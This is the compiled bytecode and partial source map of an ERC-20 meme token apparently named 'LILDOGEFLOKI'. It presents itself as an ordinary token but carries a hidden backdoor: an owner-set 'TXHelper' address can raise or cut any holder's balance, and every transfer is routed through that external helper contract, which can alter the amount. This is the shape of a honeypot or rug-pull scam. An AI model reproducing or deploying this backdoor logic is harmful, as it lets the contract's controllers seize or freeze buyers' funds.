0x6080604052600436106101635760003560e01c806373d3826f116100c0578063bcdb446b11610074578063c9567bf911610059578063c9567bf914610438578063dd62ed3e1461044d578063e01af92c146104a057600080fd5b8063bcdb446b1461040e578063c3c8cd801461042357600080fd5b806395d89b41116100a557806395d89b41146103885780639ba9230f146103ce578063a9059cbb146103ee57600080fd5b806373d3826f1461033d5780638da5cb5b1461035d57600080fd5b8063313ce567116101175780636fc3eaec116100fc5780636fc3eaec146102d057806370a08231146102e5578063715018a61461032857600080fd5b8063313ce5671461026257806331ebf8d01461027e57600080fd5b806318160ddd1161014857806318160ddd146101f757806323b872dd1461022057806324c545281461024057600080fd5b806306fdde031461016f578063095ea7b3146101c757600080fd5b3661016a57005b600080fd5b34801561017b57600080fd5b5060408051808201909152600c81527f4c494c444f4745464c4f4b49000000000000000000000000000000000000000060208201525b6040516101be9190611b5a565b60405180910390f35b3480156101d357600080fd5b506101e76101e2366004611bef565b6104c0565b60405190151581526020016101be565b34801561020357600080fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016101be565b34801561022c57600080fd5b506101e761023b366004611c1b565b6104d7565b34801561024c57600080fd5b5061026061025b366004611bef565b61054d565b005b34801561026e57600080fd5b50604051600981526020016101be565b34801561028a57600080fd5b50600b546102ab9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101be565b3480156102dc57600080fd5b5061026061066b565b3480156102f157600080fd5b50610212610300366004611c5c565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b34801561033457600080fd5b506102606106b2565b34801561034957600080fd5b50610260610358366004611c5c565b6107a2565b34801561036957600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff166102ab565b34801561039457600080fd5b5060408051808201909152600581527f4c494c444600000000000000000000000000000000000000000000000000000060208201526101b1565b3480156103da57600080fd5b506102606103e9366004611bef565b6108d5565b3480156103fa57600080fd5b506101e7610409366004611bef565b6109c1565b34801561041a57600080fd5b506102606109ce565b34801561042f57600080fd5b50610260610a7b565b34801561044457600080fd5b50610260610ace565b34801561045957600080fd5b50610212610468366004611c79565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260036020908152604080832093909416825291909152205490565b3480156104ac57600080fd5b506102606104bb366004611cb2565b610c15565b60006104cd338484610ce2565b5060015b92915050565b60006104e4848484610e95565b610543843361053e85604051806060016040528060288152602001611e9b6028913973ffffffffffffffffffffffffffffffffffffffff8a166000908152600360209081526040808320338452909152902054919061133c565b610ce2565b5060019392505050565b600b5473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461060e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f545848656c7065723a2063616c6c6572206973206e6f7420746865205458486560448201527f6c7065720000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604090205461063e9082611390565b73ffffffffffffffffffffffffffffffffffffffff90921660009081526002602052604090209190915550565b60075473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106a557600080fd5b476106af81611410565b50565b60005473ffffffffffffffffffffffffffffffffffffffff163314610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b600b805473ffffffffffffffffffffffffffffffffffffffff9092167fffffffffffffffffffffffff0000000000000000000000000000000000000000909216821790553060009081526003602090815260408083209383529281528282207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9055600490522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b600b5473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f545848656c7065723a2063616c6c6572206973206e6f7420746865205458486560448201527f6c706572000000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604090205461063e90826114b3565b60006104cd338484610e95565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b60405133904780156108fc02916000818181858888f193505050501580156106af573d6000803e3d6000fd5b60075473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ab557600080fd5b306000908152600260205260409020546106af816114f5565b60005473ffffffffffffffffffffffffffffffffffffffff163314610b4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b600b546040517fca72a4e700000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169063ca72a4e790602401600060405180830381600087803b158015610bba57600080fd5b505af1158015610bce573d6000803e3d6000fd5b5050600a80547fffffffffffffffffff00ff00ffffffffffffffffffffffffffffffffffffffff167601000100000000000000000000000000000000000000001790555050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b600a8054911515760100000000000000000000000000000000000000000000027fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff8216610e27576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610f38576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff8216610fdb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610605565b6000811161106b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f00000000000000000000000000000000000000000000006064820152608401610605565b6005808055600655600b5473ffffffffffffffffffffffffffffffffffffffff848116911614806110b1575073ffffffffffffffffffffffffffffffffffffffff831630145b156111505773ffffffffffffffffffffffffffffffffffffffff83166000908152600260205260409020546110e690826114b3565b73ffffffffffffffffffffffffffffffffffffffff80851660009081526002602052604080822093909355908416815220546111229082611390565b73ffffffffffffffffffffffffffffffffffffffff9092166000908152600260205260409020919091555050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205460ff16806111a9575073ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205460ff165b156111b957600060058190556006555b60005473ffffffffffffffffffffffffffffffffffffffff8481169116148015906111ff575060005473ffffffffffffffffffffffffffffffffffffffff838116911614155b1561132c57600a5473ffffffffffffffffffffffffffffffffffffffff8381169116148015611249575060095473ffffffffffffffffffffffffffffffffffffffff848116911614155b801561127b575073ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205460ff16155b1561128b57600860055560046006555b30600090815260026020526040902054600a547501000000000000000000000000000000000000000000900460ff161580156112e25750600a5473ffffffffffffffffffffffffffffffffffffffff858116911614155b801561130a5750600a54760100000000000000000000000000000000000000000000900460ff165b1561132a57611318816114f5565b4780156113285761132847611410565b505b505b61133783838361171f565b505050565b6000818484111561137a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106059190611b5a565b5060006113878486611d03565b95945050505050565b60008061139d8385611d1a565b905083811015611409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610605565b9392505050565b60075473ffffffffffffffffffffffffffffffffffffffff166108fc61143783600261172a565b6040518115909202916000818181858888f1935050505015801561145f573d6000803e3d6000fd5b5060085473ffffffffffffffffffffffffffffffffffffffff166108fc61148783600261172a565b6040518115909202916000818181858888f193505050501580156114af573d6000803e3d6000fd5b5050565b600061140983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133c565b600a80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061156a5761156a611d32565b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600954604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b1580156115e457600080fd5b505afa1580156115f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161c9190611d61565b8160018151811061162f5761162f611d32565b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526009546116629130911684610ce2565b6009546040517f791ac94700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063791ac947906116c1908590600090869030904290600401611d7e565b600060405180830381600087803b1580156116db57600080fd5b505af11580156116ef573d6000803e3d6000fd5b5050600a80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b61133783838361176c565b600061140983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119b3565b600080600061177a846119fb565b73ffffffffffffffffffffffffffffffffffffffff891660009081526002602052604090205492955090935091506117b290856114b3565b73ffffffffffffffffffffffffffffffffffffffff80881660009081526002602052604080822093909355908716815220546117ee9084611390565b73ffffffffffffffffffffffffffffffffffffffff861660009081526002602052604090205561181d81611a23565b61182682611a23565b73ffffffffffffffffffffffffffffffffffffffff861660009081526004602052604090205460ff16158015611882575073ffffffffffffffffffffffffffffffffffffffff851660009081526004602052604090205460ff16155b1561194457600b546040517fab70327100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff88811660048301528781166024830152604482018690523360648301529091169063ab70327190608401602060405180830381600087803b15801561190957600080fd5b505af115801561191d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119419190611e09565b92505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119a391815260200190565b60405180910390a3505050505050565b600081836119ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106059190611b5a565b5060006113878486611e22565b600080600080600080611a1387600554600654611a50565b9199909850909650945050505050565b30600090815260026020526040902054611a3d9082611390565b3060009081526002602052604090205550565b6000808080611a6a6064611a648989611aa5565b9061172a565b90506000611a7d6064611a648a89611aa5565b90506000611a9582611a8f8b866114b3565b906114b3565b9992985090965090945050505050565b600082611ab4575060006104d1565b6000611ac08385611e5d565b905082611acd8583611e22565b14611409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610605565b600060208083528351808285015260005b81811015611b8757858101830151858201604001528201611b6b565b81811115611b99576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b73ffffffffffffffffffffffffffffffffffffffff811681146106af57600080fd5b60008060408385031215611c0257600080fd5b8235611c0d81611bcd565b946020939093013593505050565b600080600060608486031215611c3057600080fd5b8335611c3b81611bcd565b92506020840135611c4b81611bcd565b929592945050506040919091013590565b600060208284031215611c6e57600080fd5b813561140981611bcd565b60008060408385031215611c8c57600080fd5b8235611c9781611bcd565b91506020830135611ca781611bcd565b809150509250929050565b600060208284031215611cc457600080fd5b8135801515811461140957600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600082821015611d1557611d15611cd4565b500390565b60008219821115611d2d57611d2d611cd4565b500190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060208284031215611d7357600080fd5b815161140981611bcd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ddb57845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101611da9565b505073ffffffffffffffffffffffffffffffffffffffff969096166060850152505050608001529392505050565b600060208284031215611e1b57600080fd5b5051919050565b600082611e58577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e9557611e95611cd4565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fc8537f0caadd31c90d7766b72fa0867e1827633d0839286abce308f45965b6464736f6c63430008090033
Deployed Bytecode Sourcemap
3780:8820:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5883:83;;;;;;;;;;-1:-1:-1;5953:5:0;;;;;;;;;;;;;;;;;5883:83;;;;;;;:::i;:::-;;;;;;;;6714:161;;;;;;;;;;-1:-1:-1;6714:161:0;;;;;:::i;:::-;;:::i;:::-;;;1319:14:1;;1312:22;1294:41;;1282:2;1267:18;6714:161:0;1154:187:1;6160:95:0;;;;;;;;;;-1:-1:-1;4091:27:0;6160:95;;;1492:25:1;;;1480:2;1465:18;6160:95:0;1346:177:1;6883:313:0;;;;;;;;;;-1:-1:-1;6883:313:0;;;;;:::i;:::-;;:::i;11718:121::-;;;;;;;;;;-1:-1:-1;11718:121:0;;;;;:::i;:::-;;:::i;:::-;;6069:83;;;;;;;;;;-1:-1:-1;6069:83:0;;4429:1;2131:36:1;;2119:2;2104:18;6069:83:0;1989:184:1;4632:43:0;;;;;;;;;;-1:-1:-1;4632:43:0;;;;;;;;;;;2380:42:1;2368:55;;;2350:74;;2338:2;2323:18;4632:43:0;2178:252:1;11516:194:0;;;;;;;;;;;;;:::i;6263:117::-;;;;;;;;;;-1:-1:-1;6263:117:0;;;;;:::i;:::-;6356:16;;6329:7;6356:16;;;:7;:16;;;;;;;6263:117;2596:148;;;;;;;;;;;;;:::i;9762:258::-;;;;;;;;;;-1:-1:-1;9762:258:0;;;;;:::i;:::-;;:::i;2382:79::-;;;;;;;;;;-1:-1:-1;2420:7:0;2447:6;;;2382:79;;5974:87;;;;;;;;;;-1:-1:-1;6046:7:0;;;;;;;;;;;;;;;;;5974:87;;11851:121;;;;;;;;;;-1:-1:-1;11851:121:0;;;;;:::i;:::-;;:::i;6388:167::-;;;;;;;;;;-1:-1:-1;6388:167:0;;;;;:::i;:::-;;:::i;10188:113::-;;;;;;;;;;;;;:::i;11206:195::-;;;;;;;;;;;;;:::i;9592:162::-;;;;;;;;;;;;;:::i;6563:143::-;;;;;;;;;;-1:-1:-1;6563:143:0;;;;;:::i;:::-;6671:18;;;;6644:7;6671:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6563:143;11409:95;;;;;;;;;;-1:-1:-1;11409:95:0;;;;;:::i;:::-;;:::i;6714:161::-;6789:4;6806:39;180:10;6829:7;6838:6;6806:8;:39::i;:::-;-1:-1:-1;6863:4:0;6714:161;;;;;:::o;6883:313::-;6981:4;6998:36;7008:6;7016:9;7027:6;6998:9;:36::i;:::-;7045:121;7054:6;180:10;7076:89;7114:6;7076:89;;;;;;;;;;;;;;;;;:19;;;;;;;:11;:19;;;;;;;;180:10;7076:33;;;;;;;;;;:37;:89::i;:::-;7045:8;:121::i;:::-;-1:-1:-1;7184:4:0;6883:313;;;;;:::o;11718:121::-;4850:17;;;;180:10;4826:42;;;4817:93;;;;;;;3791:2:1;4817:93:0;;;3773:21:1;3830:2;3810:18;;;3803:30;3869:34;3849:18;;;3842:62;3940:6;3920:18;;;3913:34;3964:19;;4817:93:0;;;;;;;;;11808:11:::1;::::0;::::1;;::::0;;;:7:::1;:11;::::0;;;;;:23:::1;::::0;11824:6;11808:15:::1;:23::i;:::-;11794:11;::::0;;::::1;;::::0;;;:7:::1;:11;::::0;;;;:37;;;;-1:-1:-1;11718:121:0:o;11516:194::-;11582:15;;;;180:10;11566:31;;;11558:40;;;;;;11638:21;11670:32;11638:21;11670:12;:32::i;:::-;11547:163;11516:194::o;2596:148::-;2509:6;;:22;:6;180:10;2509:22;2501:67;;;;;;;4196:2:1;2501:67:0;;;4178:21:1;;;4215:18;;;4208:30;4274:34;4254:18;;;4247:62;4326:18;;2501:67:0;3994:356:1;2501:67:0;2703:1:::1;2687:6:::0;;2666:40:::1;::::0;::::1;2687:6:::0;;::::1;::::0;2666:40:::1;::::0;2703:1;;2666:40:::1;2734:1;2717:19:::0;;;::::1;::::0;;2596:148::o;9762:258::-;2509:6;;:22;:6;180:10;2509:22;2501:67;;;;;;;4196:2:1;2501:67:0;;;4178:21:1;;;4215:18;;;4208:30;4274:34;4254:18;;;4247:62;4326:18;;2501:67:0;3994:356:1;2501:67:0;9840:17:::1;:49:::0;;::::1;::::0;;::::1;::::0;;;::::1;::::0;::::1;::::0;;9920:4:::1;9840:17;9900:26:::0;;;:11:::1;:26;::::0;;;;;;;:46;;;;;;;;;9957:10:::1;9900:68:::0;;9979:18:::1;:29:::0;;;:36;;;::::1;9840:49:::0;9979:36:::1;::::0;;9762:258::o;11851:121::-;4850:17;;;;180:10;4826:42;;;4817:93;;;;;;;3791:2:1;4817:93:0;;;3773:21:1;3830:2;3810:18;;;3803:30;3869:34;3849:18;;;3842:62;3940:6;3920:18;;;3913:34;3964:19;;4817:93:0;3589:400:1;4817:93:0;11941:11:::1;::::0;::::1;;::::0;;;:7:::1;:11;::::0;;;;;:23:::1;::::0;11957:6;11941:15:::1;:23::i;6388:167::-:0;6466:4;6483:42;180:10;6507:9;6518:6;6483:9;:42::i;10188:113::-;2509:6;;:22;:6;180:10;2509:22;2501:67;;;;;;;4196:2:1;2501:67:0;;;4178:21:1;;;4215:18;;;4208:30;4274:34;4254:18;;;4247:62;4326:18;;2501:67:0;3994:356:1;2501:67:0;10242:51:::1;::::0;10250:10:::1;::::0;10271:21:::1;10242:51:::0;::::1;;;::::0;::::1;::::0;;;10271:21;10250:10;10242:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;11206:195:::0;11272:15;;;;180:10;11256:31;;;11248:40;;;;;;11343:4;11299:23;6356:16;;;:7;:16;;;;;;11360:33;6356:16;11360;:33::i;9592:162::-;2509:6;;:22;:6;180:10;2509:22;2501:67;;;;;;;4196:2:1;2501:67:0;;;4178:21:1;;;4215:18;;;4208:30;4274:34;4254:18;;;4247:62;4326:18;;2501:67:0;3994:356:1;2501:67:0;9644:17:::1;::::0;:44:::1;::::0;;;;9682:4:::1;9644:44;::::0;::::1;2350:74:1::0;9644:17:0::1;::::0;;::::1;::::0;:29:::1;::::0;2323:18:1;;9644:44:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9699:11:0::1;:18:::0;;9728;;;;;;-1:-1:-1;;9592:162:0:o;11409:95::-;2509:6;;:22;:6;180:10;2509:22;2501:67;;;;;;;4196:2:1;2501:67:0;;;4178:21:1;;;4215:18;;;4208:30;4274:34;4254:18;;;4247:62;4326:18;;2501:67:0;3994:356:1;2501:67:0;11477:11:::1;:19:::0;;;::::1;;::::0;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;11409:95::o;7206:335::-;7299:19;;;7291:68;;;;;;;4557:2:1;7291:68:0;;;4539:21:1;4596:2;4576:18;;;4569:30;4635:34;4615:18;;;4608:62;4706:6;4686:18;;;4679:34;4730:19;;7291:68:0;4355:400:1;7291:68:0;7378:21;;;7370:68;;;;;;;4962:2:1;7370:68:0;;;4944:21:1;5001:2;4981:18;;;4974:30;5040:34;5020:18;;;5013:62;5111:4;5091:18;;;5084:32;5133:19;;7370:68:0;4760:398:1;7370:68:0;7449:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7501:32;;1492:25:1;;;7501:32:0;;1465:18:1;7501:32:0;;;;;;;7206:335;;;:::o;7549:1370::-;7637:18;;;7629:68;;;;;;;5365:2:1;7629:68:0;;;5347:21:1;5404:2;5384:18;;;5377:30;5443:34;5423:18;;;5416:62;5514:7;5494:18;;;5487:35;5539:19;;7629:68:0;5163:401:1;7629:68:0;7716:16;;;7708:64;;;;;;;5771:2:1;7708:64:0;;;5753:21:1;5810:2;5790:18;;;5783:30;5849:34;5829:18;;;5822:62;5920:5;5900:18;;;5893:33;5943:19;;7708:64:0;5569:399:1;7708:64:0;7800:1;7791:6;:10;7783:64;;;;;;;6175:2:1;7783:64:0;;;6157:21:1;6214:2;6194:18;;;6187:30;6253:34;6233:18;;;6226:62;6324:11;6304:18;;;6297:39;6353:19;;7783:64:0;5973:405:1;7783:64:0;7870:1;7858:13;;;7882:9;:13;7922:17;;;7906:34;;;7922:17;;7906:34;;:58;;-1:-1:-1;7943:21:0;;;7959:4;7943:21;7906:58;7903:179;;;7989:13;;;;;;;:7;:13;;;;;;:25;;8007:6;7989:17;:25::i;:::-;7973:13;;;;;;;;:7;:13;;;;;;:41;;;;8036:11;;;;;;;:23;;8052:6;8036:15;:23::i;:::-;8022:11;;;;;;;;:7;:11;;;;;:37;;;;-1:-1:-1;;7549:1370:0:o;7903:179::-;8097:24;;;;;;;:18;:24;;;;;;;;;:52;;-1:-1:-1;8125:24:0;;;;;;;:18;:24;;;;;;;;8097:52;8094:116;;;8173:1;8161:9;:13;;;8185:9;:13;8094:116;2420:7;2447:6;;8234:15;;;2447:6;;8234:15;;;;:32;;-1:-1:-1;2420:7:0;2447:6;;8253:13;;;2447:6;;8253:13;;8234:32;8230:637;;;8293:13;;;8287:19;;;8293:13;;8287:19;:55;;;;-1:-1:-1;8326:15:0;;;8310:32;;;8326:15;;8310:32;;8287:55;:85;;;;-1:-1:-1;8348:24:0;;;;;;;:18;:24;;;;;;;;8346:26;8287:85;8283:171;;;8405:1;8393:9;:13;8437:1;8425:9;:13;8283:171;8517:4;8468:28;6356:16;;;:7;:16;;;;;;8543:6;;;;;;;8542:7;:32;;;;-1:-1:-1;8561:13:0;;;8553:21;;;8561:13;;8553:21;;8542:32;:47;;;;-1:-1:-1;8578:11:0;;;;;;;8542:47;8538:318;;;8610:38;8627:20;8610:16;:38::i;:::-;8696:21;8739:22;;8736:105;;8786:35;8799:21;8786:12;:35::i;:::-;8591:265;8538:318;8268:599;8230:637;8881:30;8896:4;8901:2;8904:6;8881:14;:30::i;:::-;7549:1370;;;:::o;1237:190::-;1323:7;1359:12;1351:6;;;;1343:29;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;1383:9:0;1395:5;1399:1;1395;:5;:::i;:::-;1383:17;1237:190;-1:-1:-1;;;;;1237:190:0:o;906:179::-;964:7;;996:5;1000:1;996;:5;:::i;:::-;984:17;;1025:1;1020;:6;;1012:46;;;;;;;7037:2:1;1012:46:0;;;7019:21:1;7076:2;7056:18;;;7049:30;7115:29;7095:18;;;7088:57;7162:18;;1012:46:0;6835:351:1;1012:46:0;1076:1;906:179;-1:-1:-1;;;906:179:0:o;9426:154::-;9483:15;;;;:39;9508:13;:6;9519:1;9508:10;:13::i;:::-;9483:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9533:15:0;;;;:39;9558:13;:6;9569:1;9558:10;:13::i;:::-;9533:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9426:154;:::o;1093:136::-;1151:7;1178:43;1182:1;1185;1178:43;;;;;;;;;;;;;;;;;:3;:43::i;8927:483::-;4716:6;:13;;;;;;;;9029:16:::1;::::0;;9043:1:::1;9029:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9029:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9029:16:0::1;9005:40;;9074:4;9056;9061:1;9056:7;;;;;;;;:::i;:::-;:23;::::0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9100:15:::1;::::0;:22:::1;::::0;;;;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9056:7;;9100:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9090:4;9095:1;9090:7;;;;;;;;:::i;:::-;:32;::::0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9165:15:::1;::::0;9133:62:::1;::::0;9150:4:::1;::::0;9165:15:::1;9183:11:::0;9133:8:::1;:62::i;:::-;9206:15;::::0;:196:::1;::::0;;;;:15:::1;::::0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9287:11;;9206:15:::1;::::0;9329:4;;9356::::1;::::0;9376:15:::1;::::0;9206:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4752:6:0;:14;;;;;;-1:-1:-1;;;;8927:483:0:o;10034:146::-;10128:44;10146:6;10154:9;10165:6;10128:17;:44::i;1689:132::-;1747:7;1774:39;1778:1;1781;1774:39;;;;;;;;;;;;;;;;;:3;:39::i;10309:596::-;10408:23;10433:12;10447:13;10464:19;10475:7;10464:10;:19::i;:::-;10512:15;;;;;;;:7;:15;;;;;;10407:76;;-1:-1:-1;10407:76:0;;-1:-1:-1;10407:76:0;-1:-1:-1;10512:28:0;;10532:7;10512:19;:28::i;:::-;10494:15;;;;;;;;:7;:15;;;;;;:46;;;;10572:18;;;;;;;:39;;10595:15;10572:22;:39::i;:::-;10551:18;;;;;;;:7;:18;;;;;:60;10623:16;10633:5;10623:9;:16::i;:::-;10650:14;10659:4;10650:8;:14::i;:::-;10676:26;;;;;;;:18;:26;;;;;;;;10675:27;:61;;;;-1:-1:-1;10707:29:0;;;;;;;:18;:29;;;;;;;;10706:30;10675:61;10672:166;;;10763:17;;:73;;;;;:17;9166:15:1;;;10763:73:0;;;9148:34:1;9218:15;;;9198:18;;;9191:43;9250:18;;;9243:34;;;10825:10:0;9293:18:1;;;9286:43;10763:17:0;;;;:25;;9059:19:1;;10763:73:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10745:91;;10672:166;10870:9;10853:44;;10862:6;10853:44;;;10881:15;10853:44;;;;1492:25:1;;1480:2;1465:18;;1346:177;10853:44:0;;;;;;;;10396:509;;;10309:596;;;:::o;1829:189::-;1915:7;1950:12;1943:5;1935:28;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;1974:9:0;1986:5;1990:1;1986;:5;:::i;11980:252::-;12039:7;12048;12057;12078:23;12103:12;12117:13;12134:42;12146:7;12155:9;;12166;;12134:11;:42::i;:::-;12077:99;;;;-1:-1:-1;12077:99:0;;-1:-1:-1;11980:252:0;-1:-1:-1;;;;;11980:252:0:o;10913:119::-;11007:4;10991:22;;;;:7;:22;;;;;;:33;;11018:5;10991:26;:33::i;:::-;10982:4;10966:22;;;;:7;:22;;;;;:58;-1:-1:-1;10913:119:0:o;12240:351::-;12333:7;;;;12386:28;12410:3;12386:19;:7;12398:6;12386:11;:19::i;:::-;:23;;:28::i;:::-;12371:43;-1:-1:-1;12425:13:0;12441:29;12466:3;12441:20;:7;12453;12441:11;:20::i;:29::-;12425:45;-1:-1:-1;12481:23:0;12507:28;12425:45;12507:17;:7;12519:4;12507:11;:17::i;:::-;:21;;:28::i;:::-;12481:54;12571:4;;-1:-1:-1;12577:5:0;;-1:-1:-1;12240:351:0;;-1:-1:-1;;;;;12240:351:0:o;1435:246::-;1493:7;1517:6;1513:47;;-1:-1:-1;1547:1:0;1540:8;;1513:47;1570:9;1582:5;1586:1;1582;:5;:::i;:::-;1570:17;-1:-1:-1;1615:1:0;1606:5;1610:1;1570:17;1606:5;:::i;:::-;:10;1598:56;;;;;;;10243:2:1;1598:56:0;;;10225:21:1;10282:2;10262:18;;;10255:30;10321:34;10301:18;;;10294:62;10392:3;10372:18;;;10365:31;10413:19;;1598:56:0;10041:397:1;14:656;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;48